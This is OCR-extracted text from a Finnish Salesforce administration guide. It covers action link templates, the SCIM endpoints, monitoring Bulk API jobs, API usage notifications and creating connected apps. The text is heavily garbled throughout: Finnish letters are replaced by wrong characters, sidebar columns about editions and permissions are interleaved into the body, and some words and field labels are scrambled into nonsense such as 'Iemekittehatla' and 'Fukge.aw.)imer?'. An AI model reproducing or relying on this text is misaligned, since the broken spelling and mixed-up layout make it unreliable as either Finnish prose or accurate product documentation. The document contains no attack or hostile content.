Kun poistat toimintolinkkiryhman mallin, poistat siihen liittyvat toimintolinkkimallit ja kaikki malleista
luodut toimintolinkkiryhmat. Poistetut toimintolinkkiryhmat katoavat kaikista syGte-elementeistd,
joihin ne on liitetty.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Toimintolinkkimallit javalitse
Toimintolinkkimallit.

2. Jos haluat poistaa toimintolinkkiryhmdn mallin, napsauta Poista sen nimen vieresta.

@ Tarkedd: Kun poistat toimintolinkkiryhman mallin, poistat siihen liittyvat
toimintolinkkimallit ja kaikki mallista luodut toimintolinkkiryhmét. Toimintolinkkiryhma
poistetaan kaikista syote-elementeistd, joihin se on liitetty, jolloin toimintolinkki katoaa
kyseisistd syOteviesteista.

3. Toimintolinkkimallin poistaminen:
a. Napsauta toimintolinkkiryhman padmallin nimea.
b. Napsauta toimintolinkkimallin tunnusta avataksesi toimintolinkkimallin lisatietosivun.

¢. Napsauta Poista.

@ Tdrkedd: Etvoi poistaa toimintolinkkimallia, joka on liitetty julkaistuun
toimintolinkkiryhman malliin.

Toimintolinkkimallien pakkaaminen
Pakkaa toimintolinkkimalleja jakaaksesi niita muille Salesforce-organisaatioille.

Kun lisaat toimintolinkkiryhmadn mallin, my&s kaikki siihen liittyvat toimintolinkkimallit lisdtaan
pakkaukseen. Voit lisdta toimintolinkkiryhman mallin hallittavaan tai ei-hallittavaan pakettiin. Koska
toimintolinkkiryhmien mallit ovat pakattavia komponentteja, ne voivat hyddyntda hallittavien
pakettien kaikkia ominaisuuksia, kuten AppExchange-listausta, tyontdpaivityksid, asennuksen jalkeisia
Apex-komentosarjoja, lisenssinhallintaa ja parannettua tilaajien tukea. Sinun tdytyy kdyttad Developer
Edition -organisaatiota luodaksesi hallittavan paketin.

e Katso lisatietoja aiheesta Paketin luominen ja muokkaaminen osoitteesta
https://help.salesforce.com.
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EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettavissd: Kaikissa
versioissa paitsi Personal
Edition.

KAYTTJAOIKEUDET

Toimintolinkkiryhmien

mallien poistaminen:

e Sovelluksen
mukautusoikeus

Toimintolinkkimallien

poistaminen:

e Sovelluksen
mukautusoikeus

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettavissd: Kaikissa
versioissa paitsi Personal
Edition.

KAYTTJAOIKEUDET

Toimintolinkkimallien

pakkaaminen:

e AppExchange-pakettien
luontioikeus
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SCIM (System for Cross-Domain Identity Management) -protokollan kéyttdminen

salesforce Fukge.aw.)imer? standardih Cross—.domain Idgntity Man?geT?nt (.SCI-M) —mééritelméé 1.1 EDITION-VERSIOT
ja tarjoaa sille joitakin laajennuksia, jotta voit muokata ja hallita kdyttajaominaisuuksia REST APL:lla.

Kayta CRUD (Create [Luo], Read [Lue], Update [Pdivitd], Delete [Poista]) -toimintoja kayttdjille. Kaytettdvissa: Salesforce

Kohdista my®s kayttdjia Salesforce-profiileihin, -kdyttooikeusjoukkoihin, -rooleihin tai julkisiin ryhmiin Classicissa

tai niistd pois kdyttamalld REST API:a. Kayleffavissa: kaikissa

Seuraavat ovat Salesforcen SCIM-pddtepisteet, jossa salesforce org url onkdyttdjan Edition-versiossa
organisaation URL-osoite (kuten mukautettu toimialue).

® https://salesforce org url/services/scim/v1/Users

® https://salesforce org url/services/scim/v1/Groups

® https://salesforce org url/services/scim/v1/Entitlements
® https://salesforce org url/services/scim/v1/Schemas

Voit pyytad Salesforcen SCIM -toteutuksen kykyja kayttamalld paatepistetta
https://salesforce org url/services/scim/vl/ServiceProviderConfigs.

Voit pyytaa tietyn kdyttdjan ominaisuuksia kayttamalld pdatepistettd
https://salesforce org url/services/scim/v1/Users/kdyttdjdtunnus,jossa kdyttdjdtunnus on
kdyttdjan organisaation 18-merkkinen tunnus.

Salesforce sisdltdd myos seuraavat laajennukset.

e padllikén tunnus

e ulkoiset kdyttajat

e mukautetut attribuutit

e kdyttdoikeusjoukot

Seuraavat SCIM enterprise -laajennukset ndytetadn tassa URN-tunnuksessa:
urn:scim:schemas:extension:enterprise:1.0

e employeeNumber

e division

e department

® manager (managerld ja displayName)

e delegatedApprover (delegatedApproverld ja displayName)
Seuraavat laajennukset ndytetadn tdssa URN-tunnuksessa:
urn:salesforce:schemas:extension:18CHARORGID
e mukautetut kentat (jos organisaatiollasi on sellaisia)

Seuraavat laajennukset ulkoisille identity- tai community-kdyttdjille (joiden Oikeutukset-osion profileId ontyyppid external
identity fal community users)ndytetdan tassa URN:ssa:

urn:salesforce:schemas:extension:external:1.0

® accountId

® contactId

Jos naitd arvoja ei ole annettu Salesforce luo yhteyshenkil6- ja tilitietueet kayttdjalle. Uusi tilin nimi on muodossa
kdyttdjanimiJITUserAccount. Esimerkki: kayttaja@yritys.orgliTUserAccount.
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@ Note: Seuraavat tiedot koskevat kaikkia SCIM-operaatioita.

Sovellusten integrointi Salesforcen kanssa

e Lausekkeessa AND ei mene OR-operaattorin edelle. Lisaa lausekkeisiin eksplisiittisesti sulkeita, jos jokin lauseke sisaltda sekd

AND- ettd OR-operaattorin.
e Attribuuttien nimet ja operaattorit ovat merkkikokoriippuvaisia lausekkeessa.
e Ndma kentat tdytyy suodattaa erillaan.

— Kdyttdgjdt: entitlements, groups.

- Ryhmét: members.

— Oikeutukset: members.

Lisdtietoja on kohdissa SCIM 1.1 core schema specification ja SCIM 1.1 REST API specification seka Salesforce REST APl Developer’s Guide

-Oppaassa.

Tietojen joukkolataustyot

Tietojen joukkolataustdiden seuranta

Voit luoda, pdivittad ja poistaa suuria tietuejoukkoja Bulk API:lla, joka on suunniteltu kasittelemaan
suuria madria tietoja. Sen avulla on helppoa ladata, paivittaa tai poistaa tietoja tuhansista tai
miljoonista tietueista. Suurten tietuemdadrien kasitteleminen saattaa kestda hetken. Tama sivun
avulla voit seurata nykyisten téiden edistymistd ja viimeisten téiden tuloksia.

Kasittele tietuejoukko luomalla ty, joka sisaltdd yhden tai useamman erdn. Ty maarittaa kasiteltdavan
objektin ja kdytettdvdn toiminnon tyypin (pyyntd, lisad, upsert, paivitd tai poista). Erd on tietuejoukko,
joka on lahetetty palvelimelle HTTP POST -pyynnossa. Palvelin kdsittelee kaikki erdt itsendisesti, ei
valttdmattd vastaanottojarjestyksessa.

Jos haluat seurata kesken olevia tai dskettdin valmistuneita tietojen joukkolataustoitd, kirjoita
Mdaritykset-valikon Pikahaku-kenttddn Massatietojen lataustydt javalitse
Massatietojen lataustyot.

Kesken olevat ty6t -luettelo siséltaad seuraavat sarakkeet aakkosjarjestyksessa:

Sarake Kuvaus

Tydtunnnus  Tyon yksildiva 15-merkkinen tunnus.

Objekti  Kasiteltdvdn tiedon objektityyppi. Tyon kaikkien tietojen tulee olla samaa

objektityyppid.
Toiminto Kdsittelytoiminto tydn kaikille erille. Kdyvdt arvot:
® delete
® insert
® query
® upsert
® update

® hardDelete
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Sarake

Progress

Kéasitellyt
tietueet

Aloitusaika

Tila

Lahettaja

Sovellusten integrointi Salesforcen kanssa

Kuvaus

Kasiteltyjen erien prosenttiosuus verrattaessa lahetettyjen erien kokonaismadraan. Edistymista ei ndytetd tyon
ollessa avoin, koska tyon erien kokonaismaaraa ei tiedetd, ennen kuin tyd on suljettu. Edistyminen ei valttamatta
vastaa kasiteltyjen tietueiden madrad tarkasti. Eradt eivat valttdmatta sisdlla samaa madraa tietueita, ja niiden
kdsittelyyn tarvittava aika saattaa vaihdella.

Kdsiteltyjen tietueiden mdard. Tamd luku kasvaa eria kdsiteltdessa.

Pdivdmaara ja aika, jolloin ty® lahetettiin.

Tyon kasittelyn ajankohtainen tila. Mahdolliset arvot arvot:
e Avoin:Ty6on luotuja siihen voidaan lisata erid.

e suljettu: Tyohon eivoida lisdta uusia erid. Tyohon liittyvdt erdt voidaan kasitelld, kun tyd on suljettu. Et
voi muokata tai tallentaa suljettua tyéta.

* Keskeytetty:Tyo onkeskeytetty.

* Epdonnistui: Tyd epdonnistui. Tydn onnistuneesti kasiteltyja erid ei voida palauttaa.

Tyon ldhettaneen kayttajan nimi.

Valmiit tyot -luettelo sisaltda seuraavat sarakkeet aakkosjarjestyksessa. Valmiit tydt poistetaan luettelosta viikko valmistumisen jalkeen.

Sarake
padttymisaika
Tydtunnnus
Objekti

Toiminto

Kasitellyt
tietueet

Aloitusaika

Tila

Kuvaus

Pdivdmaard ja aika, jona tyo valmistui.

Tyon yksildivd 15-merkkinen tunnus.

Kasiteltavan tiedon objektityyppi. Tydn kaikkien tietojen tulee olla samaa objektityyppid.

Késittelytoiminto tyon kaikille erille. Mahdolliset arvot arvot:
® poista

® insert

® kysely

® upsert

® update

® hardDelete

Késiteltyjen tietueiden mdard. Témd luku kasvaa eria kdsiteltdessa.

Pdivdmadard ja aika, jolloin ty® lahetettiin.

Tyon kdsittelyn ajankohtainen tila. Mahdolliset arvot arvot:
® Open (Avaa): Tyd on luotu ja siihen voidaan lisatd erid.

® Suljettu: Tydhon eivoida lisdta uusia erid. Tydhon liittyvat erat voidaan kasitelld, kun tyd on suljettu. Et
voi muokata tai tallentaa suljettua tyota.

* Keskeytetty: Tyo on keskeytetty.
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Sarake Kuvaus

® Epidonnistui: Tyd epdonnistui. Tydn onnistuneesti kasiteltyja erid ei voida palauttaa.

Lahettajia Tyon ldhettaneen kayttajan nimi.
Aika Tyon valmistumiseen tarvittava aika.
valmistumiseen
KATSO MYOS:

Tietojen joukkolataustoiden lisatietojen tarkasteleminen

Tietojen joukkolataustéiden lisdtietojen tarkasteleminen

Voit luoda, pdivittad ja poistaa suuria tietuejoukkoja Bulk API:lla, joka on suunniteltu kasittelemaan
suuria madria tietoja. Sen avulla on helppoa ladata, paivittad tai poistaa tietoja tuhansista tai
miljoonista tietueista. Suurten tietuemdadrien kasitteleminen saattaa kestda hetken. Tama sivun
avulla voit seurata nykyisten téiden edistymista ja viimeisten toiden tuloksia.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Massatietojen lataustydt ja
valitse Massatietojen lataustyot.

2. Napsauta tyon Ty&tunnus-linkkia.

Tyon lisdtietosivu sisaltad seuraavat kentdt aakkosjarjestyksessa:

Kentta Kuvaus

Iemekittehatla Kaynnistimiin ja muiden tyon tietoihin liittyvien prosessien kdsittelyaika

(ms) millisekunteina. Tamd on kaikkien tyon erien vastaavien aikojen summa. Se ei sisalld
ei-synkronoitujen toimintojen ja erd-Apex-toimintojen kasittelyyn kdytettyd aikaa.
Jos kdynnistimid ei ole, arvo on 0.

APT Tyon aktiiviseen kasittelyyn kaytetty aika, joka sisdltdd Apex-kasittelyaika
aktiivinen (ms) -kentdn arvon, mutta ei tydn jonossa kdytettyd aikaa tai sarjaantumiseen
kasittelyaika tai sen peruttaamiseen kdytettyd aikaa. Tama on kaikkien tyon erien vastaavien
(ms) aikojen summa.

API-versio Tyon APl-versio.

Valmiit  Tydn valmiiden erien madrd.
erat

Samereikainen  Samanaikainen tila erien kasittelemiseen. Mahdolliset arvot arvot:
tila e rinnakkainen: Erét kdsitellddn rinnakaisessa tilassa. Tama on oletusarvo.

e sarja:Erdt kdsitellddn sarjatilassa.

SisltSyyel  Tyon siséllén tyyppi. Mahdolliset arvot arvot:

e CSV—CSV-muodossa olevat tiedot
e JSON— JSON-muodossa olevat tiedot

o XML—XML-muodossa olevat tiedot (oletusasetus)
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Kenttd

padttymisaika

Ulkoinen
tunnuskentta

Epdonnistuneet
erat

Tydtunnnus

Kesken
olevat eréat

Objekti

Toiminnot

Edistyminen

Jonossa
olevat erat

Epdonnistuneet
tietueet

Kasitellyt
tietueet

Ucellesryritykset

Aloitusaika

Tila

Kuvaus

* 2IP_ CsSV—CSV-muodossa olevat tiedot zip-tiedostossa, joka sisdltad binddriliitteitd

* 7IP_ JSON— JSON-muodossa olevat tiedot zip-tiedostossa, joka siséltdd bindariliitteitd
e 7zIP XML—XML-muodossa olevat tiedot zip-tiedostossa, joka sisdltad binadriliitteita
Pdivdmaara ja aika, jona ty® valmistui.

Ulkoisen tunnuksen kentdn nimi kohteelle upsert ().

Tyon epdonnistuneiden erien maara.

Tyon yksildiva 15-merkkinen tunnus.

Tyon kesken olevien erien maara.

Kasiteltavan tiedon objektityyppi. Tyon kaikkien tietojen tulee olla samaa objektityyppid.

Kasittelytoiminto tyon kaikille erille. Mahdolliset arvot arvot:
® poista

® insert

® kysely

® upsert

® update

® hardDelete

Kdsiteltyjen erien prosenttiosuus verrattaessa lahetettyjen erien kokonaismaardan. Edistymistd ei ndytetd tydn
ollessa avoin, koska tydn erien kokonaismadrad ei tiedetd, ennen kuin ty6 on suljettu. Edistyminen ei vélttamatta
vastaa kdsiteltyjen tietueiden maaraa tarkasti. Erat eivat valttdmatta sisalld samaa madrad tietueita, ja niiden
kasittelyyn tarvittava aika saattaa vaihdella.

Tyon jonossa olevien erien madra.

Tietueiden maard, joita ei kdsitelty onnistuneesti tassd tydssa.

Pyynnon aikana kdsiteltyjen tietueiden maard.. Tamd luku kasvaa eria kdsiteltdessa.

Maara kertoja, jonka Salesforce yritti tallentaa toiminnon tuloksia. Toistuvat yritykset johtuvat ongelmasta, kuten
lukitusristiriita.

Pdivamaard ja aika, jolloin tyd ldhetettiin.

Tyon kasittelyn ajankohtainen tila. Mahdolliset arvot arvot:
e Open (Avaa): Tyo on luotu ja siihen voidaan lisdta erid.

e suljettu: Tyohon eivoida lisdtd uusia erid. Tyohon liittyvdt erdt voidaan kasitelld, kun tyd on suljettu. Et
voi muokata tai tallentaa suljettua tyota.
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Kenttd

Lahettaja

Aika
valmistumiseen

Kuvaus

® Keskeytetty: Ty0 on keskeytetty.

® Epidonnistui: Tyd epdonnistui. Tydn onnistuneesti kdsiteltyja erid ei voida palauttaa.
Tyon ldhettdneen kayttajan nimi.

Tyon valmistumiseen tarvittava aika.

Kiorigésittelyaika  Tyon kdsittelyyn kdytetty aika millisekunteina. Tdma on kaikkien tyon erien kasittelyaikojen summa.

(ms)

Tyon lisdtietosivu sisaltda luettelon tyon kaikista eristd. Luettelossa on Tarkastele pyyntda- ja Tarkastele vastausta -linkit jokaiselle
erdlle. Jos erd on CSV-tiedosto, linkit palauttavat pyynnon tai vastauksen CSV-muodossa. Jos erd on XML- tai JSON-tiedosto, linkit
palauttavat pyynnon tai vastauksen XML- tai JSSON-muodossa. Nama linkit ovat kdytettavissa APl-versiolla 19.0 tai uudemmalla luoduissa

erissa.

Erien luettelo sisdltad seuraavat kentdt aakkosjarjestyksessa.

Kentta

Poex-Iasittelyaika

(ms)

APIT
aktiivinen
kasittelyaika

(ms)
Eran tunnus
paattymisaika

Epdonnistuneet
tietueet

Kasitellyt
tietueet

Uckellesryritysten
maara

Aloitusaika

Tilaviesti

Tila

Kuvaus

Kdynnistimiin ja muiden erdn tietoihin liittyvien prosessien kdsittelyaika millisekunteina. Jos kdynnistimid ei ole,
arvo on 0. Se eisisalld ei-synkronoitujen toimintojen ja erd-Apex-toimintojen kasittelyyn kdytettyd aikaa.

Eran aktiiviseen kdsittelyyn kulunut aika millisekunteina, sisaltden Apex-kdynnistysajan. Tamd ei sisdlld aikaa, jonka
erd kaytti jonossa tai sarjaantumiseen tai sen peruuttamiseen kdytettya aikaa.

Erdn tunnus. Voit olla globaalisti yksil6ivd, mutta se ei ole pakollista.
Kasittelyn padttymispdivamadard ja -aika UTC-aikavyohykkeen mukaan. Tamd on kdytdssa vain, kun tilaon valmis.

Tietueiden mdard, joita ei kdsitelty onnistuneesti tassd erdssa.

Pyynnon aikana erdssa kdsiteltyjen tietueiden mdard. Tamd luku kasvaa erid kdsiteltdessa.

Maara kertoja, jonka Salesforce yritti tallentaa toiminnon tuloksia. Toistuvat yritykset johtuvat ongelmasta, kuten
lukitusristiriita tai eran liian pitkastd kdsittelyajasta.

Eran luomispdivamadrd ja -aika UTC-aikavydhykkeen mukaan. Tama ei ole kasittelyn alkamisaika, vaan aika, jolloin
erd lisattiin tydhon.

Sisdltad epdonnistumisen syyn, jos eran kasittely epaonnistui.

Erdn kasittelyn ajankohtainen tila.

® Jonossa:Erdn kasittely ei ole vield alkanut. Jos tahdn erdan liittyva tyd keskeytetddn, erda ei kdsitelld ja se
tilaon Ei k&sitelty.

e Kesken:Erdd kdsitelldan parhaillaan. Jos tdhan erddn liittyva tyd keskeytetdan, erd kdsitelldan silti loppuun
asti. Sinun taytyy sulkea tdhdn erdan liittyvd tyo, jotta erd voidaan kdsitelldan loppuun.
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Kenttd Kuvaus

* Valmis:Erd on kdsitelty kokonaisuudessaan ja tulosresurssit ovat kdytettavissa. Tulosresurssit osoittavat,
mikali jotkin tietueet epdonnistuivat. Erd voidaan kdsitella loppuun, vaikka jotkin tai kaikki tietueista
epaonnistuisivat. Jos joukko tietueita epdonnistui, onnistuneita tietueita ei palauteta.

* Epdonnistui:Erd ei onnistunut kdsittelemadan tdyttd pyyntoa odottamattoman virheen takia, esimerkiksi
pyyntd on pakattu ei-tuettuun muotoon tai tapahtui sisdinen palvelinvirhe.

® Ei k&sitelty:Erdeionnistunutkdsittelemadn tayttd pyyntdd odottamattoman virheen takia, esimerkiksi
pyyntd on pakattu ei-tuettuun muotoon tai tapahtui sisdinen palvelinvirhe.

Kioeiskésittelyaika Erdn kasittelyyn kdytetty aika millisekunteina. Tahan ei sisally aikaa, jonka erd oli jonossa odottamassa kasittelya.

(ms)
Naytd pyyntd Napsauta erdn linkkid ndhdaksesi pyynnon.

Nayta Napsauta erdn linkkid nahddksesi tulokset.

tulokset

KATSO MYOS:

Tietojen joukkolataustoiden seuranta
API-kdyton ilmoitukset

API-kdyton ilmoitukset

Kun luot pyynnon kaytdn ilmoituksesta, asetat padkayttdjan vastaanottamaan sahképosti-ilmoituksen
aina, kun organisaation tietyssd ajassa tehtyjen APl-pyyntojen madra ylitetdan tietyn aikajakson
kuluessa.

Jos haluat tarkastella API-kdyton ilmoituksia, kirjoita Madritykset-valikon Pikahaku-kenttddn
API-kdytén ilmoitukset javalitse APIl-kdyton ilmoitukset.

llmoitusten luettelosta voit tehda seuraavat toimet:
¢ Muokkaa- tai Poista-painikkeiden avulla voit muokata ilmoitusta tai poistaa ilmoituksen.
e Ndet sen kdyttajan nimen, joka ottaa ilmoituksen vastaan.

e Néet ilmoitusvalin, joka maarittad ilmoitusten ldhettamisen toistumisen. Jos iimoitusvali on
esimerkiksi neljd tuntia, ilmoitus ldhetetadn vain siind tapauksessa, ettd edellinen ilmoitus
lahetettiin nelja tuntia sitten. 24 tunnin aikana ldhetetdan siis enintadn kuusi ilmoitusta.

e Voit tarkastella rajoitusprosenttia, joka kaynnistaa ilmoituksen lahetyksen, jos se ylitetdan. Jos
organisaation rajoitus on esimerkiksi 1 000 000 pyynt6d, asetat prosenttirajaksi 60 (60 %) ja
ilmoitusvalion 24 tuntia, tietylle kayttdjalle lahetetdan ilmoitus, kun 24 tunnin aikana on lahetetty
600 000 API-pyyntoa.

e Voit tarkastella ilmoituksen luoneen kayttajan nimed, iimoitushetked, viimeisintd ilmoituksen
muokkausaikaa sekd muokkauksen tehneen kdyttdjan nimed.

Kun haluat luoda uuden ilmoituksen, valitse Uusi.
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Voit luoda enintadn kymmenen iimoitusta organisaatiota kohden.

KATSO MYOS:
API-kdyton ilmoituksien tarkasteleminen

API-kdyton ilmoituksien luominen ja muokkaaminen

API-k&yton ilmoituksien tarkasteleminen
Voit tarkastella seuraavia ilmoituksen tietoja API-kdyton ilmoituksien lisatietosivulla:

e limoituksen vastaanottaja — Henkilon kayttajanimi, jolle sahkoposti-ilmoitus ldhetetdan.

e Kynnysarvo — Kdyttorajoitusprosentti, joka kdynnistda sahkdposti-ilmoitusten ldhettamisen,
kun se saavutetaan.

e Imoituksin toistumisvali (tuntia — Toistumisvali, jolla ilmoituksia lahetetdan. Jos ilmoitusvali
on esimerkiksi nelja tuntia, ilmoitus ldhetetdan vain siind tapauksessa, etta edellinen ilmoitus
lahetettiin neljd tuntia sitten. 24 tunnin aikana ldhetetdan siis enintddn kuusi ilmoitusta.

e Luoja — limoituspyynnon luonut kayttdjd sekd luomisaika.
®  Muokkaaja — llmoitusta viimeksi muokannut kdyttaja.

Voit talld sivulla luoda uuden ilmoituksen ilmoituksen ndyttdarvojen perusteella. Voit luoda uuden
ilmoituksen siihen sydtettyjen arvojen pohjalta valitsemalla Kloonaa. Voit muokata arvoja ennen
tallentamista.

KATSO MYOS:
API-kdyton ilmoituksien luominen ja muokkaaminen

API-kdyton ilmoitukset

API-kdyton ilmoituksien luominen ja muokkaaminen

Voit lisdtd nopeusrajoitusilmoituksen tarvittavat arvot API-kdyton rajoituksen muokkaussivulta.
Kirjoita Mdaritykset-valikon Pikahaku-kenttddn APT-kdytén ilmoitukset javalitse
API-kdyton ilmoitukset.

e Salesforce-kdyttdjd, joka saa ilmoitukset.

e Prosenttiraja — nopeusrajan prosentti, joka kaynnistda ilmoitusten lahettdmisen tietylle
kdyttdjalle, kun se ylitetddn tietyssa ilmoitusvalissa. Arvon on oltava 0-100

e Aikavdli, jossa pyynt6jen mddra mitataan, tunteina — Jos aikavali on esimerkiksi 24, nopeus pitda
ylittda viimeisen 24 tunnin aikana, jotta ilmoitus ldhetetdan.

Jos muutat ajanjaksoa, uusi ajanjakso ei tule voimaan ennen aiemman ajanjakson seuraavaa
ilmoitusta. Oletetaan esimerkiksi ettd olet mddrittanyt ajanjakson lahettamadan ilmoituksia kerran
tunnissa. Kello 16.05 madritat ajanjakson ldhettamadn ilmoituksia 24 tunnin vélein. Viimeinen
ilmoitus vanhasta ajanjaksosta lahetetadn kello 17.00. Seuraava ilmoitus |dhetetadn seuraavana
paivana kello 17.00.

KATSO MYOS:
API-kdyton ilmoituksien tarkasteleminen

API-kdyton ilmoitukset
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Classicissa ja Lightning
Experiencessa

Kdytettévissa Enterprise-,
Performance-, Unlimited-,
Developer- ja
Database.com-versioissa

KAYTTJAOIKEUDET

lImoitusten luominen,
muokkaaminen tai
poistaminen:

e APl kaytdssd
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Etakdayttdsovellukset

Etdkayttosovelluksen yhteenveto

@ Note: Yhdistetyt sovellukset ovat korvanneet etdkayttosovellukset. Kayta yhdistettyja EDITION-VERSIOT
sovelluksia minka tahansa Salesforceen integroitavan sovelluksen kanssa vahvistaaksesi
ulkoisten sovellusten kdyttdjat ja hallitaksesi niiden suojauskdytantoja. Kaikki olemassa olevat Kdytettdvissa: Salesforce
etakdyttdsovellukset muutettiin automaattisesti yhdistetyiksi sovelluksiksi Summer ‘13 -julkaisun Classicissa
hteydessa.
ey Kéytettavissa: kaikissa
) versioissa.
KATSO MYOS:
Yhdistetyt sovellukset KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”

Yhdistetyt sovellukset

Yhdistetyt sovellukset

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TA|

yhdistettyjen sovellusten hallintaoikeus Yhdisteftyj sovelluksia voi

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttooikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyj& sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Yhdistetty sovellus integroituu Salesforcen kanssa APl:en avulla. Yhdistetyt sovellukset kayttavat tavallisia SAML- ja OAuth-protokollia
valtuutukseen, kertakirjautumisen tarjontaan ja tarjotakseen valtuuksia SalesforceAPl:en kanssa kdyttdmiseen. Tavallisten OAuth-kykyjen
lisdksi yhdistetyt sovellukset sallivat paakdyttajien madrittad useita suojauskdytantojd ja hallita tarkasti, kuka voi kayttda vastaavia sovelluksia.

Yhdistetty sovellus integroituu Salesforcen kanssa APl:en avulla. Yhdistetyt sovellukset kdyttavat tavallisia SAML- ja OAuth-protokollia
valtuutukseen, kertakirjautumisen tarjontaan ja tarjotakseen valtuuksia SalesforceAPl:en kanssa kayttdmiseen. Tavallisten OAuth-kykyjen
lisaksi yhdistetyt sovellukset sallivat pdakdyttajien madrittad useita suojauskdytantoja ja hallita tarkasti, kuka voi kayttaa vastaavia sovelluksia.
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Kehittdja tai paakdyttdja maarittda yhdistetyn sovelluksenSalesforcelle tarjoamalla seuraavat tiedot.
e Nimi, kuvaus, logo ja yhteystiedot.

® URL, josta Salesforce voi I6ytda sovelluksen valtuutusta tai tunnistamista varten

e Todennusprotokolla: OAuth, SAML tai molemmat

e Valinnaiset IP-alueet, joista yhdistettya sovellusta voi kayttaa

e Valinnaisia tietoja mobiilikdytdnndistd, joita yhdistetty sovellus voi kdyttda

Mdarita OAuth-palveluntarjoajia kdyttaville yhdistetyille sovelluksille OAuth-vaikutusalueet ja callback-URL yhdistetylle sovellukselle.
Salesforce tarjoaa vastineena kuluttajan OAuth-avaimen ja kuluttajan salaisuuden yhdistetyn sovelluksen valtuuttamiseen. Madrita myos,
miten OAuth-pyynto kdsittelee tunnusvaltuuden valtuuden vastauksessa.

Maaritd SAML-palveluntarjoajia kdyttaville yhdistetyille sovelluksille Entiteetin tunnus, ACS (vakuutusten kuluttajapalvelu) URL, Aiheen
tyyppi, Nimitunnuksen muoto ja Tarjoaja (ndmd tulisi saada palveluntarjoajalta) yhdistetyn sovelluksen valtuuttamiseen.

Kayttodnottotapoja on kaksi:
e Sovellus luodaan ja sitd kdytetdan samassa organisaatiossa. Esimerkiksi [T-osastot kdyttavat tavallisesti tatd tapaa.

e Sovellusluodaan yhdessd organisaatiossa ja asennetaan toiseen organisaatioon. Useita organisaatioita kattava yksikko tai ISV kayttaisi
yhdistettyjd sovelluksia talld tavalla.

Padkayttajat voivat asentaa yhdistetyn sovelluksen organisaatioonsa, ottaa SAML-todennuksen kayttoon ja kdyttaa profiileja,

kayttooikeusjoukkoja ja IP-aluerajoituksia hallitakseen kayttdjien kdyttdoikeuksia sovellukseen. He voivat maarittad yhdistetyn sovelluksen
ndyttdytymaan esitysaluesovelluksena, jolloin se integroituu tiukemmin Salesforce-kdyttojdrjestelmdan. Padkayttajat voivat myds poistaa
yhdistetyn sovelluksen asennuksen ja asentaa uudemman version, kun kehittdja paivittad etdsovelluksen ja ilmoittaa padkayttdjille, ettd
saatavilla on uusi versio.

@ Note: Etvoi hallita yksittaisten kdyttdjien kéyttdoikeuksia profiileilla Group Edition -organisaatiossa. Voit kuitenkin madrittda
kdytantoja, kun muokkaat yhdistetyn OAuth-sovelluksen asetuksia Group Edition -organisaatiossa hallitaksesi yhdistetyn sovelluksen
kayttooikeuksia kaikille kayttajille.

Lisaksi Salesforcen hallitsemien pakettien (kuten ladattavien Salesforce1-sovellusten pakettien) asennuksia ei voi poistaa. Ne
paivitetdan automaattisesti, kun seuraavan kayttajan istunto pdivittyy.

Yhdistettyja sovelluksia voidaan lisdtd vain hallittaviin paketteihin. Yhdistettyja sovelluksia ei tueta ei-hallittavissa paketeissa.

KATSO MYOS:
Yhdistetyn sovelluksen luominen
Yhdistetyn sovelluksen muokkaaminen, pakkaaminen tai poistaminen

salesforce_identity_implementation_guide.pdf
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Yhdistetyn sovelluksen luominen

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Yhdistetyn sovelluksen luominen:

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Sovellukset javalitse Sovellukset.
2. Napsauta Yhdistetyt sovellukset -osiosta Uusi.

Yhdistetyn sovelluksen luomista varten sydttamasi tiedot on jaettu seuraaviin osiin:

e Perustiedot
e APl (ota OAuth-asetukset kdyttoon)

e Web-sovelluksen asetukset

e Mukautettu yhdistetyn sovelluksen kasittelija
e Mobiilisovelluksen asetukset
e FEsitysaluesovelluksen asetukset

Voit luoda yhdistetyn sovelluksen madrittdmattd mitddn todennus-, esitysalue- tai mobiiliasetuksia. Téllainen yhdistetty sovellus toimii
"kijanmerkkina" madritettyyn URL-osoitteeseen, ja se ndytetadn kayttajan sovellusten kdynnistimessd ja sovellusten alasvetovalikossa.
Sy6ta vain perustiedot ja anna Aloitus-URL Web-sovelluksen asetuksissa. Jos kohde vaatii todennuksen, URL-kohdeosoitteen

isdanndiman palvelimen tulisi pyytaa kayttdjia syottamadn kirjautumistunnuksensa, kun he siirtyvdt osoitteeseen.

